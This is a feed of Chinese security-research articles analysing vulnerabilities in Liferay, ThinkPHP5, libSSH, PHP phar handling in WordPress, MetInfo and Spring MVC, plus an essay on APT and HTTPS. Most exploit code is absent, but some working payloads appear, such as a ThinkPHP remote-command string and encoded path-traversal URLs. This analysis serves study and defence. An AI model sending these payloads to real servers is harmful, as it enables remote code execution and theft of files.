RSS Feed
更好更安全的互联网
  • Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)

    2020-11-02

    作者:Longofo@知道创宇404实验室 
    时间:2020年3月27日 
    英文版本:https://paper.seebug.org/1163/

    之前在CODE WHITE上发布了一篇关于Liferay Portal JSON Web Service RCE的漏洞,之前是小伙伴在处理这个漏洞,后面自己也去看了。Liferay Portal对于JSON Web Service的处理,在6.1、6.2版本中使用的是 Flexjson库,在7版本之后换成了Jodd Json

    总结起来该漏洞就是:Liferay Portal提供了Json Web Service服务,对于某些可以调用的端点,如果某个方法提供的是Object参数类型,那么就能够构造符合Java Beans的可利用恶意类,传递构造好的json反序列化串,Liferay反序列化时会自动调用恶意类的setter方法以及默认构造方法。不过还有一些细节问题,感觉还挺有意思,作者文中那张向上查找图,想着idea也没提供这样方便的功能,应该是自己实现的查找工具,文中分析下Liferay使用JODD反序列化的情况。

    JODD序列化与反序列化

    参考官方使用手册,先看下JODD的直接序列化与反序列化:

    TestObject.java

    TestObject1.java

    Test.java

    输出:

    在Test.java中,使用了两种方式,第一种是常用的使用方式,在反序列化时指定根类型(rootType);而第二种官方也不推荐这样使用,存在安全问题,假设某个应用提供了接收JODD Json的地方,并且使用了第二种方式,那么就可以任意指定类型进行反序列化了,不过Liferay这个漏洞给并不是这个原因造成的,它并没有使用setClassMetadataName("class")这种方式。

    Liferay对JODD的包装

    Liferay没有直接使用JODD进行处理,而是重新包装了JODD一些功能。代码不长,所以下面分别分析下Liferay对JODD的JsonSerializer与JsonParser的包装。

    JSONSerializerImpl

    Liferay对JODD JsonSerializer的包装是com.liferay.portal.json.JSONSerializerImpl类:

    能看出就是设置了JODD JsonSerializer在序列化时的一些功能。

    JSONDeserializerImpl

    Liferay对JODD JsonParser的包装是com.liferay.portal.json.JSONDeserializerImpl类:

    能看出也是设置了JODD JsonParser在反序列化时的一些功能。

    Liferay 漏洞分析

    Liferay在/api/jsonws API提供了几百个可以调用的Webservice,负责处理的该API的Servlet也直接在web.xml中进行了配置:

    随意点一个方法看看:

    看到这个有点感觉了,可以传递参数进行方法调用,有个p_auth是用来验证的,不过反序列化在验证之前,所以那个值对漏洞利用没影响。根据CODE WHITE那篇分析,是存在参数类型为Object的方法参数的,那么猜测可能可以传入任意类型的类。可以先正常的抓包调用去调试下,这里就不写正常的调用调试过程了,简单看一下post参数:

    总的来说就是Liferay先查找/announcementsdelivery/update-delivery对应的方法->其他post参数参都是方法的参数->当每个参数对象类型与与目标方法参数类型一致时->恢复参数对象->利用反射调用该方法

    但是抓包并没有类型指定,因为大多数类型是String、long、int、List、map等类型,JODD反序列化时会自动处理。但是对于某些接口/Object类型的field,如果要指定具体的类型,该怎么指定?

    作者文中提到,Liferay Portal 7中只能显示指定rootType进行调用,从上面Liferay对JODD JSONDeserializerImpl包装来看也是这样。如果要恢复某个方法参数是Object类型时具体的对象,那么Liferay本身可能会先对数据进行解析,获取到指定的类型,然后调用JODD的parse(path,class)方法,传递解析出的具体类型来恢复这个参数对象;也有可能Liferay并没有这样做。不过从作者的分析中可以看出,Liferay确实这样做了。作者查找了jodd.json.Parser#rootType的调用图(羡慕这样的工具):

    通过向上查找的方式,作者找到了可能存在能指定根类型的地方,在com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl调用了com.liferay.portal.kernel.JSONFactoryUtil#looseDeserialize(valueString, parameterType), looseDeserialize调用的是JSONSerializerImpl,JSONSerializerImpl调用的是JODD的JsonParse.parse

    com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl再往上的调用就是Liferay解析Web Service参数的过程了。它的上一层JSONWebServiceActionImpl#_prepareParameters(Class<?>),JSONWebServiceActionImpl类有个_jsonWebServiceActionParameters属性:

    这个属性中又保存着一个JSONWebServiceActionParametersMap,在它的put方法中,当参数以+开头时,它的put方法以:分割了传递的参数,:之前是参数名,:之后是类型名。

    而put解析的操作在com.liferay.portal.jsonwebservice.action.JSONWebServiceInvokerAction#_executeStatement中完成:

    通过上面的分析与作者的文章,我们能知道以下几点:

    • Liferay 允许我们通过/api/jsonws/xxx调用Web Service方法
    • 参数可以以+开头,用:指定参数类型
    • JODD JsonParse会调用类的默认构造方法,以及field对应的setter方法

    所以需要找在setter方法中或默认构造方法中存在恶意操作的类。去看下marshalsec已经提供的利用链,可以直接找Jackson、带Yaml的,看他们继承的利用链,大多数也适合这个漏洞,同时也要看在Liferay中是否存在才能用。这里用com.mchange.v2.c3p0.JndiRefForwardingDataSource这个测试,用/expandocolumn/add-column这个Service,因为他有java.lang.Object参数:

    Payload如下:

    解析出了参数类型,并进行参数对象反序列化,最后到达了jndi查询:

    补丁分析

    Liferay补丁增加了类型校验,在com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_checkTypeIsAssignable中:

    _JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES所有白名单类在portal.properties中,有点长就不列出来了,基本都是以com.liferay开头的类。


    Paper

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1162/

    作者:江 | Categories:技术分享漏洞通告 | Tags:
  • APT 为什么不使用 HTTPS 协议?

    2019-01-24

    原文:Why does APT not use HTTPS?
    作者:Chris Lamb
    译者:Nanako@知道创宇404实验室

    (这篇文章代表了一段时间前,特别是在CVE-2019-3462之前的情形。它并不代表我的个人意见,也不代表Debian / Ubuntu。)

    tl;dr

    https用于防止入侵者窃听到您与您访问的网站之间的通信,以及避免在您不知情的情况下修改数据。

    然而,通过APT命令获取的文件往往都有自己的签名以通过系统的检查。

    您的计算机根据一组已存储的可信密钥检查这些签名。如果缺少有效签名或者密钥不可信[1],则APT会拒绝下载该文件。这样可以确保您安装的软件来自您的授权,并且未被修改或替换。

    如果下载服务器的磁盘上软件包发生了恶意篡改,https是无法检测出来的。因此也没有必要“安全的”传输一个受损的软件包。

    隐私

    https通常不会为获取数据包提供重要的私密性。由于窃听者通常可以看到您正在通信连接的主机,如果您正与发布镜像的网络进行连接,则很明显您在进行下载更新。

    此外,即使通信是经过加密的,也不难根据传输大小确定要下载的文件[2]。因此,https只适用于从那些提供类似的,或大小相同的包的服务器上进行下载。

    其实更应该关注的问题并不是加密,而是确保您正在安装的文件未被修改过。

    过度信任CA

    有超过400个“证书颁发机构”可以为任何域颁发证书,其中很多证书机构没有有效的安全记录,还有一些明确被政府控制[3]。

    这意味着https对于发布镜像网络上的攻击目标提供了微乎其微的保护,甚至没有任何保护。您可以限制APT可以接收的有效证书集合,但这容易产生错误,对现有的公钥方案来说某些额外的麻烦是不值得的。

    为什么不提供HTTPS呢?

    您所用的发行版可以使用现有方案对文件进行加密签名,另外还可以通过https为文件提供“深度防御”。

    然而,通过SSL提供一个巨大的全球镜像网络不仅是一项复杂的工程任务(需要私钥的安全交换和存储)。如上所述,它意味着会对最终用户的安全性和隐私级别产生误导性。

    切换到https还意味着您无法利用本地代理服务器来加快访问速度,而且还将禁止多种类型的P2P 镜像,其中文件存储在不受您分发控制的服务器上。这将对远程区域的用户产生不同程度的影响。

    重放攻击

    简单签名机制存在的问题是,它不能保证您看到的是最新版本的存档。

    这可能会导致重放攻击,攻击者将存档替换为较早的未经修改的版本,阻止APT注意到那些会被利用的安全更新。

    为了解决这个问题,APT存档包含一个时间戳,在此时间戳之后的所有文件都被认作是旧文件[4]。

    更多信息

    SecureAPT wiki页面上可以找到更多技术细节?。

    脚注

    1. 显示发布:无法验证以下签名,因为公钥不可用。
    2. 如果通过(假设)apt-transport-tor使用Tor,甚至有可能出现这种情况。
    3. 例如,请参阅在StackOverflow上的我应该信任哪些受信任的root证书颁发机构
    4. 请参阅Debian Wiki上DebianRepository页面的Date,Valid-Until部分

     

     

    Paper

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/803/

    作者:Nanako | Categories:安全科普漏洞通告 | Tags:
  • Thinkphp5 远程代码执行漏洞事件分析报告

    2018-12-25
    作者:知道创宇404实验室
    时间:2018年12月19日

    0x00 背景

    2018年12月10日,ThinkPHP 官方发布《ThinkPHP 5.* 版本安全更新》,修复了一个远程代码执行漏洞。由于 ThinkPHP 框架对控制器名没有进行足够的检测,导致攻击者可能可以实现远程代码执行。

    知道创宇404实验室漏洞情报团队第一时间开始漏洞应急,复现了该漏洞,并进行深入分析。经过一系列测试和源码分析,最终确定漏洞影响版本为:

    • ThinkPHP 5.0.5-5.0.22
    • ThinkPHP 5.1.0-5.1.30

    在漏洞曝光后的第一时间,知道创宇404实验室积极防御团队积极排查知道创宇云安全的相关日志,发现该漏洞最早从 2018年9月开始,尚处于 0day 阶段时就已经被用于攻击多个虚拟货币类、金融类网站。

    在漏洞披露后的一周时间内,404实验室内部蜜罐项目也多次捕获到利用该漏洞进行攻击的案例,可以看到该漏洞曝光后短短8天就被僵尸网络整合到恶意样本中,并可以通过蠕虫的方式在互联网中传播。

    由于该漏洞触发方式简单、危害巨大,知道创宇404实验室在研究漏洞原理后,整理攻击事件,最终发布该漏洞事件报告。

    0x01 漏洞分析

    1.1 漏洞成因

    该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞,本文以ThinkPHP5.0.22为例进行分析。

    通过查看手册可以得知tp5支持多种路由定义方式:

    https://www.kancloud.cn/manual/thinkphp5/118037

    这里值得注意的地方有两个,一个是路由定义方式4,tp5可以将请求路由到指定类的指定方法(必须是public方法)中;另一个是即使没有定义路由,tp5默认会按照方式1对URL进行解析调度。

    然后来看一下具体的代码实现:

    thinkphp/library/think/App.php

    由于没有在配置文件定义任何路由,所以默认按照方式1解析调度。如果开启强制路由模式,会直接抛出错误。

    thinkphp/library/think/Route.php

    可以看到tp5在解析URL的时候只是将URL按分割符分割,并没有进行安全检测。继续往后跟:

    thinkphp/library/think/App.php

    在攻击时注意使用一个已存在的module,否则会抛出异常,无法继续运行。

    此处在获取控制器名时直接从之前的解析结果中获取,无任何安全检查。

    在这里对控制器类进行实例化,跟进去看一下:

    thinkphp/library/think/Loader.php

    根据传入的name获取对应的类,如果存在就直接返回这个类的一个实例化对象。

    跟进getModuleAndClass方法:

    可以看到如果控制器名中有\,就直接返回。

    回到thinkphp/library/think/App.phpmodule方法,正常情况下应该获取到对应控制器类的实例化对象,而我们现在得到了一个\think\App的实例化对象,进而通过url调用其任意的public方法,同时解析url中的额外参数,当作方法的参数传入。

    1.2 漏洞影响版本

    在与小伙伴做测试的时候,意外发现5.0.5版本使用现有的payload不生效,会报控制器不存在的错误。跟进代码之后发现了一些小问题,下面是ThinkPHP 5.0.5thinkphp/library/think/Loader.phpcontroller方法:

    以payload?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id为例,我们将控制器名设置为\think\appstrpos返回了0,由于php弱类型问题,无法进入407行的判断,导致payload无效。这里可以将第一个\去掉来使payload生效,payload如下:

    继续查看ThinkPHP5.0.0-5.0.4的相关代码,发现5.0.0-5.0.4版本并没有对控制器名中有\的情况进行特殊处理,payload无法生效。

    以下是thinkphp 5.0.4thinkphp/library/think/Loader.php的相关代码:

    可以看到没有进行特殊处理,会统一进入parseClass进行统一处理。

    过滤掉了/ .,并且在最后会在前面拼接上控制器类的namespace,导致payload无法生效。从而最终确定ThinkPHP5.0受影响的版本为5.0.5-5.0.22

    1.3 漏洞防御

    1. 升级到Thinkphp最新版本:5.0.23、5.0.31
    2. 养成良好的开发习惯,使用强制路由模式,但不建议在线上环境直接开启该模式。
    3. 直接添加补丁,在thinkphp5.0版本的thinkphp/library/think/App.php554行,thinkphp5.1版本的thinkphp/library/think/route/dispatch/Url.php63行添加如下代码:

    0x02 实际攻击分析

    知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”最早于2018年9月3日捕获该漏洞的payload,随后针对这个漏洞的攻击情况做了详细的监控及跟进:

    2.1 0day在野

    在官方发布更新前,在知道创宇云安全的日志中共检测到62次漏洞利用请求,以下是对部分攻击事件的分析。

    2018年9月3日,ip 58.49.*.*(湖北武汉)对某网站发起攻击,使用的payload如下:

    这是一个日后被广泛利用的payload,通过调用file_put_contents将php代码写入文件来验证漏洞是否存在。

    2018年10月16日,该ip又对另一网站进行攻击,此次攻击使用的payload如下:

    此payload针对Thinkphp 5.1.x,直接调用phpinfo,简化了漏洞验证流程。值得一提的是,该ip是日志中唯一一个在不同日期发起攻击的ip。

    2018年10月6日,ip 172.111.*.*(奥地利)对多个虚拟币类网站发起攻击,payload均是调用file_put_contents写入文件以验证漏洞是否存在:

    2018年12月9日,ip 45.32.*.*(美国)对多个投资金融类网站发起攻击,payload都是调用phpinfo来进行漏洞验证:

    2.2 0day曝光后

    在官方发布安全更新后,知道创宇404实验室成功复现了漏洞,并更新了WAF防护策略。与此同时,攻击数量激增,漏洞被广泛利用。在官方发布安全更新的8天时间里(2018/12/09 - 2018/12/17),共有5570个IP对486962个网站发起2566078次攻击。

    与此同时,404实验室内部蜜罐项目从漏洞披露后三天(12月13日)开始,捕获到对该漏洞的探测,在如下几个目录进行探测:

    使用的探测拼接参数为:

    12月18日,已有僵尸网络将该漏洞exp整合到恶意样本中,在互联网上传播。捕获的攻击流量为:

    经过简单分析,该样本使用 CVE-2017-17215 、CNVD-2014-01260 和 ThinkPHP5 远程代码执行漏洞进行传播。

    0x03 小结

    此漏洞是继ECShop代码执行漏洞之后,又一次经典的0day漏洞挖掘利用过程。从漏洞刚被挖掘出来时的试探性攻击,到之后有目的、有针对性地攻击虚拟币类、投资金融类的网站,最后到漏洞曝光后的大规模批量性攻击,成为黑产和僵尸网络的工具,给我们展示了一条完整的0day漏洞生命线。由于ThinkPHP是一个开发框架,有大量cms、私人网站在其基础上进行开发,所以该漏洞的影响可能比我们看到的更加深远。


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/770/

    作者:Nanako | Categories:安全研究漏洞通告 | Tags:
  • libSSH 认证绕过漏洞(CVE-2018-10933)分析

    2018-10-22
    作者:Hcamael@知道创宇404实验室
    时间:2018年10月19日

    最近出了一个libSSH认证绕过漏洞,刚开始时候看的感觉这洞可能挺厉害的,然后很快github上面就有PoC了,msf上很快也添加了exp,但是在使用的过程中发现无法getshell,对此,我进行了深入的分析研究。

    前言

    搞了0.7.5和0.7.6两个版本的源码:[1]

    360发了一篇分析文章,有getshell的图:[2]

    Python版本的PoC到Github上搜一下就有了:[3]

    环境

    libSSH-0.7.5源码下载地址: [4]

    PS: 缺啥依赖自己装,没有当初的编译记录了,也懒得再来一遍

    主要用两个,一个是SSH服务端Demo:examples/ssh_server_fork, 一个是SSH客户端Demo:./examples/samplessh

    服务端启动命令:sudo examples/ssh_server_fork -p 22221 127.0.0.1 -v

    客户端使用命令:./examples/samplessh -p 22221 myuser@127.0.0.1

    PS: 用户那随便填,我使用myuser,只是为了对比正常认证请求和bypass请求有啥区别,正常情况下SSH服务端是使用账户密码认证,账户是: myuser, 密码是: mypassword

    修改../src/auth.cssh_userauth_xxxx函数,我修改的是ssh_userauth_password:

    根据360的分析文章和我自己的研究结果,修改了上图箭头所示的三处地方,这样./examples/samplessh就会成为了验证该漏洞的PoC

    PS: 修改完源码后记得再执行一次make

    漏洞分析

    根据服务端输出的调试信息,可以找到ssh_packet_process函数[5], 看到第1211行:

    然后追踪到callbacks数组等于default_packet_handlers[6]

    正常情况下,发送SSH2_MSG_USERAUTH_REQUEST请求,进入的是ssh_packet_userauth_request函数,而该漏洞的利用点就是,发送SSH2_MSG_USERAUTH_SUCCESS请求,从而进入ssh_packet_userauth_success函数

    PS: 我们可以进入该数组中的任意函数,但是看了下其他函数,也没法getshell

    正常情况下的执行路径是:

    找找这个函数,发现在服务端Demo中进行了设置:

    找到了auth_password函数,由服务端的编写者设置的:

    认证成功后的路径:

    正常情况下,在SSH登录成功后,libSSH给session设置了认证成功的状态,SSH服务端编写的人给自己定义的标志位设置为1: sdata->authenticated = 1;

    利用该漏洞绕过验证,服务端的流程:

    可以成功的把libSSH的session设置为认证成功的状态,但是却不会进入auth_password函数,所以用户定义的标志位sdata->authenticated仍然等于0

    我们在网上看到别人PoC验证成功的图,就是由ssh_packet_userauth_success函数输出的Authentication successful

    研究不能getshell之谜

    很多人复现该漏洞的时候肯定都发现了,服务端调试的信息都输出了认证成功,但是在getshell的时候却一直无法成功,根据上面的代码,发现session已经被设置成认证成功了,但是为啥还无法获取shell权限呢?对此,我又继续深入研究。

    根据服务端的调试信息,我发现都能成功打开channel,但是在下一步pty-req channel_request我服务端显示的信息是被拒绝:

    所以我继续跟踪代码执行的流程,跟踪到了ssh_execute_server_request函数:

    接着发现ssh_callbacks_exists(channel->callbacks, channel_pty_request_function)检查失败,所以没有进入到该分支,导致请求被拒绝。

    然后回溯channel->callbacks,回溯到了SSH服务端ssh_server_fork.c

    在libSSH中没有任何设置channel的回调函数的代码,只要在服务端中,由开发者手动设置,比如上面的545行的代码

    然后我们又看到了sdata.authenticated,该变量再之前说了,该漏洞绕过的认证,只能把session设置为认证状态,却无法修改SSH服务端开发者定义的sdata.authenticated变量,所以该循环将不会跳出,直到n = 100的情况下,reutrn结束该函数。这就导致了我们无法getshell。

    如果想getshell,有两种修改方式:

    1.删除sdata.authenticated变量

    2.把channel添加回调函数的代码移到循环之前

    在修改了服务端代码后,我也能成功getshell:

    总结

    之后我看了审计了一下ssh_execute_server_request函数的其他分支,发现SSH_REQUEST_CHANNEL分支下所有的分支:

    都是调用channel的回调函数,所以在回调函数未注册的情况下,是无法成功getshell。

    最后得出结论,CVE-2018-10933并没有想象中的危害大,而且网上说的几千个使用libssh的ssh目标,根据banner,我觉得都是libssh官方Demo中的ssh服务端,存在漏洞的版本的确可以绕过认证,但是却无法getshell。

    引用

    1. https://0x48.pw/libssh/
    2. https://www.anquanke.com/post/id/162225
    3. https://github.com/search?utf8=%E2%9C%93&q=CVE-2018-10933&type=
    4. https://www.libssh.org/files/0.7/libssh-0.7.5.tar.xz
    5. https://0x48.pw/libssh/libssh_0.7.6/src/packet.c.html#ssh_packet_process
    6. https://0x48.pw/libssh/libssh_0.7.5/src/packet.c.html#default_packet_handlers

    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/720/

    作者:Nanako | Categories:安全研究漏洞通告 | Tags:
  • 利用 phar 拓展 php 反序列化漏洞攻击面

    2018-08-29
    作者:seaii@知道创宇404实验室
    时间:2018/08/23

    0x01 前言

    通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大。但在不久前的Black Hat上,安全研究员Sam Thomas分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it,利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。这让一些看起来“人畜无害”的函数变得“暗藏杀机”,下面我们就来了解一下这种攻击手法。

    0x02 原理分析

    2.1 phar文件结构

    在了解攻击手法之前我们要先看一下phar的文件结构,通过查阅手册可知一个phar文件有四部分构成:

    1. a stub

    可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

    2. a manifest describing the contents

    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

    3. the file contents

    被压缩文件的内容。

    4. [optional] a signature for verifying Phar integrity (phar file format only)

    签名,放在文件末尾,格式如下:

    2.2 demo测试

    根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作。

    注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

    phar_gen.php

    可以明显的看到meta-data是以序列化的形式存储的:

    有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

    来看一下php底层代码是如何处理的:

    php-src/ext/phar/phar.c

    通过一个小demo来证明一下:

    phar_test1.php

    其他函数当然也是可行的:

    phar_test2.php

    当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,一些之前看起来“人畜无害”的函数也变得“暗藏杀机”,极大的拓展了攻击面。

    2.3 将phar伪造成其他格式的文件

    在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

    采用这种方法可以绕过很大一部分上传检测。

    0x03 实际利用

    3.1 利用条件

    任何漏洞或攻击手法不能实际利用,都是纸上谈兵。在利用之前,先来看一下这种攻击的利用条件。

    1. phar文件要能够上传到服务器端。
    2. 要有可用的魔术方法作为“跳板”。
    3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

    3.2 wordpress

    wordpress是网络上最广泛使用的cms,这个漏洞在2017年2月份就报告给了官方,但至今仍未修补。之前的任意文件删除漏洞也是出现在这部分代码中,同样没有修补。根据利用条件,我们先要构造phar文件。

    首先寻找能够执行任意代码的类方法:

    wp-includes/Requests/Utility/FilteredIterator.php

    这个类继承了ArrayIterator,每当这个类实例化的对象进入foreach被遍历的时候,current()方法就会被调用。下一步要寻找一个内部使用foreach的析构方法,很遗憾wordpress的核心代码中并没有合适的类,只能从插件入手。这里在WooCommerce插件中找到一个能够利用的类:

    wp-content/plugins/woocommerce/includes/log-handlers/class-wc-log-handler-file.php

    到这里pop链就构造完成了,据此构建phar文件:

    将后缀名改为gif后,可以在后台上传,也可以通过xmlrpc接口上传,都需要author及以上的权限。记下上传后的文件名post_ID

    接下来我们要找到一个参数可控的文件系统函数:

    wp-includes/post.php

    该函数可以通过XMLRPC调用"wp.getMediaItem"这个方法来访问到,变量$thumbfile传入了file_exists(),正是我们需要的函数,现在我们需要回溯一下$thumbfile变量,看其是否可控。

    根据$thumbfile = str_replace(basename($file), $imagedata['thumb'], $file),如果basename($file)$file相同的话,那么$thumbfile的值就是$imagedata['thumb']的值。先来看$file是如何获取到的:

    wp-includes/post.php

    如果$file是类似于windows盘符的路径Z:\Z,正则匹配就会失败,$file就不会拼接其他东西,此时就可以保证basename($file)$file相同。

    可以通过发送如下数据包来调用设置$file的值:

    同样可以通过发送如下数据包来设置$imagedata['thumb']的值:

    _wpnonce可在修改页面中获取。

    最后通过XMLRPC调用"wp.getMediaItem"这个方法来调用wp_get_attachment_thumb_file()函数来触发反序列化。xml调用数据包如下:

    0x04 防御

    1. 在文件系统函数的参数可控时,对参数进行严格的过滤。
    2. 严格检查上传文件的内容,而不是只检查文件头。
    3. 在条件允许的情况下禁用可执行系统命令、代码的危险函数。

    0x05 参考链接

    1. https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf
    2. http://php.net/manual/en/intro.phar.php
    3. http://php.net/manual/en/phar.fileformat.ingredients.php
    4. http://php.net/manual/en/phar.fileformat.signature.php
    5. https://www.owasp.org/images/9/9e/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf

    Paper本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/680/

    作者:Nanako | Categories:技术分享漏洞通告 | Tags:
  • MetInfo 任意文件读取漏洞的修复与绕过

    2018-08-29
    Author: Badcode@知道创宇404实验室
    Date: 2018/08/20

    404实验室内部的WAM(Web应用监控程序,文末有关于WAM的介绍)监控到 MetInfo 版本更新,并且自动diff了文件,从diff上来看,应该是修复了一个任意文件读取漏洞,但是没有修复完全,导致还可以被绕过,本文就是记录这个漏洞的修复与绕过的过程。

    漏洞简介

    MetInfo是一套使用PHP和Mysql开发的内容管理系统。 MetInfo 6.0.0~6.1.0版本中的 old_thumb.class.php文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。

    漏洞影响

    • MetInfo 6.0.0
    • MetInfo 6.1.0

    漏洞分析

    看到\MetInfo6\app\system\include\module\old_thumb.class.php

    从代码中可以看到,$dir直接由$_GET['dir']传递进来,并将../置空。目标是进入到第一个 if 里面的readfile($dir);,读取文件。看看 if 语句的条件,里面的是将$dir中包含$_M['url']['site']的部分置空,这里可以不用管。外面是一个strstr函数,判断$dirhttp字符串的首次出现位置,也就是说,要进入到这个 if 语句里面,$dir中包含http字符串即可。

    从上面的分析可以构造出 payload,只要$dir里包含http字符串就可以进入到readfile函数从而读取任意函数,然后可以使用..././来进行目录跳转,因为../会被置空,所以最终payload 如下

    对于这个任意文件读取漏洞,官方一直没补好,导致被绕过了几次。以下几种绕过方式均已提交CNVD,由CNVD通报厂商。

    第一次绕过

    根据WAM的监测记录,官方5月份的时候补了这个漏洞,但是没补完全。

    看下diff

    可以看到,之前的只是把../置空,而补丁是把.././都置空了。但是这里还是可以绕过。可以使用.....///来跳转目录,.....///经过str_replace置空,正好剩下../,可以跳转。所以payload是

    第二次绕过

    在提交第一种绕过方式给CNVD之后,MetInfo没多久就更新了,来看下官方的修复方式。

    diff

    这里加了一个判断,$dir要以http开头,变换一下之前的payload就可以继续绕过了。

    第三次绕过

    再次提交之后,官方知悉该绕过方式,又补了一次了。

    看下diff

    看到补丁,又多加了一个判断条件,使用strpos函数查找./首次出现的位置,也就是说不能有./。没了./,在Windows下还可以用..\来跳转目录。所以payload

    遗憾的是,这个只能在Windows环境下面才可以。

    最终

    目前在官网供下载的最新的6.1.0版本中,old_thumb.class.php这个文件已经被删除。

    总结

    一次次的修补,一次次的绕过,感觉开发者应该是没有理解到漏洞利用的原理,一直以类黑名单的形式在修复,而黑名单的形式总是容易被绕过。除了删除文件外,根据实际功能,可以考虑使用白名单方式修复,例如限定所能读取的文件类型为图片类型。

    关于WAM

    WAM 应用监控:通过监控互联网开源 Web 应用的版本更新,自动化 Diff 审计源代码,发送漏洞告警邮件,第一时间发现漏洞及后门植入。

    功能特性

    • 目前已支持150种 Web 应用的版本源码监控
    • 支持监控 Web 应用历史版本源码包下载
    • 监控 Web 应用版本发布页面自动下载更新
    • 自动 Diff 版本,比较文件更新,高亮显示,自动审计可疑漏洞或后门
    • 自动邮件告警可以漏洞/后门审计结果

    好消息来了,黑哥计划在 2018 KCon 大会上直接将 WAM 开源发布。


    Paper本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/676/

    作者:Nanako | Categories:技术分享漏洞通告 | Tags:
  • Spring MVC 目录穿越漏洞(CVE-2018-1271)分析

    2018-08-29
    作者: Badcode@知道创宇404实验室
    时间: 2018/08/14

    漏洞简介

    2018年04月05日,Pivotal公布了Spring MVC存在一个目录穿越漏洞(CVE-2018-1271)。Spring Framework版本5.0到5.0.4,4.3到4.3.14以及较旧的不受支持的版本允许应用程序配置Spring MVC以提供静态资源(例如CSS,JS,图像)。当Spring MVC的静态资源存放在Windows系统上时,攻击可以通过构造特殊URL导致目录遍历漏洞。

    漏洞影响

    • Spring Framework 5.0 to 5.0.4.
    • Spring Framework 4.3 to 4.3.14
    • 已不支持的旧版本仍然受影响

    漏洞利用条件

    • Server运行于Windows系统上
    • 要使用file协议打开资源文件目录

    漏洞复现

    复现环境

    环境搭建

    1.下载 spring-mvc-showcase

    修改pom.xml,使用Spring Framework 5.0.0。

    2.修改 Spring MVC 静态资源配置,可参考官方文档

    通过官方文档可知有两种方式配置,可自行选择配置。此处通过重写WebMvcConfigurer中的addResourceHandlers方法来添加新的资源文件路径。在org.springframework.samples.mvc.config.WebMvcConfig添加以下代码即可,使用file://协议指定resources为静态文件目录。

    3.使用 jetty 启动项目

    至此复现环境搭建完毕。

    复现过程及结果

    访问以下链接

    可以看到成功读取到win.ini的内容了。

    漏洞分析

    当外部要访问静态资源时,会调用org.springframework.web.servlet.resource.ResourceHttpRequestHandler:handleRequest来处理,在这里下断点调试。

    跟进org.springframework.web.servlet.resource.ResourceHttpRequestHandler:getResource()

    request中保存的路径是/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini。在request.getAttribute()函数取值时会进行 url decode操作,此时path的值为%5c%5c..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/windows/win.ini。接下来会对path进行两次校验,将pathpath解码之后的值分别使用isInvalidPath函数检查。看下这个函数

    path包含有..的时候,会调用cleanPath函数对path处理。跟进

    这个函数的作用是把包含..的这种相对路径转换成绝对路径。例如/foo/bar/../经过cleanPath处理后就会变成/foo/

    cleanPath的问题在于String[] pathArray = delimitedListToStringArray(pathToUse, "/");这个是允许空元素存在的,也就是说cleanPath会把//当成一个目录,而操作系统是不会把//当成一个目录的。借用一张Orange大佬的图。

    继续回到流程上,上面说到会对path进行两次校验,第一次调用isInvalidPathpath的值是%5c%5c..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/windows/win.ini,因为path/分割之后没有元素等于..,所以path经过cleanPath处理后的值不变,继续之后的判断,path里面也不包含../,所以最终返回false,也就是通过了校验。

    第二次调用isInvalidPath(URLDecoder.decode(path, "UTF-8")),此时参数值是\\..\/..\/..\/..\/..\/..\/..\/..\/..\/windows/win.ini,经过cleanPath处理后的值是//windows/win.ini,之后继续判断,path里面也不包含../,最终返回false,也通过了校验。

    通过两次校验之后,继续向下执行。获取一个Resource对象

    path的值还是之前,getLocations()获取到的就是之前在配置文件中配置的路径file:./src/main/resources/,继续跟进

    跟进ResourceResolver类的resolveResource

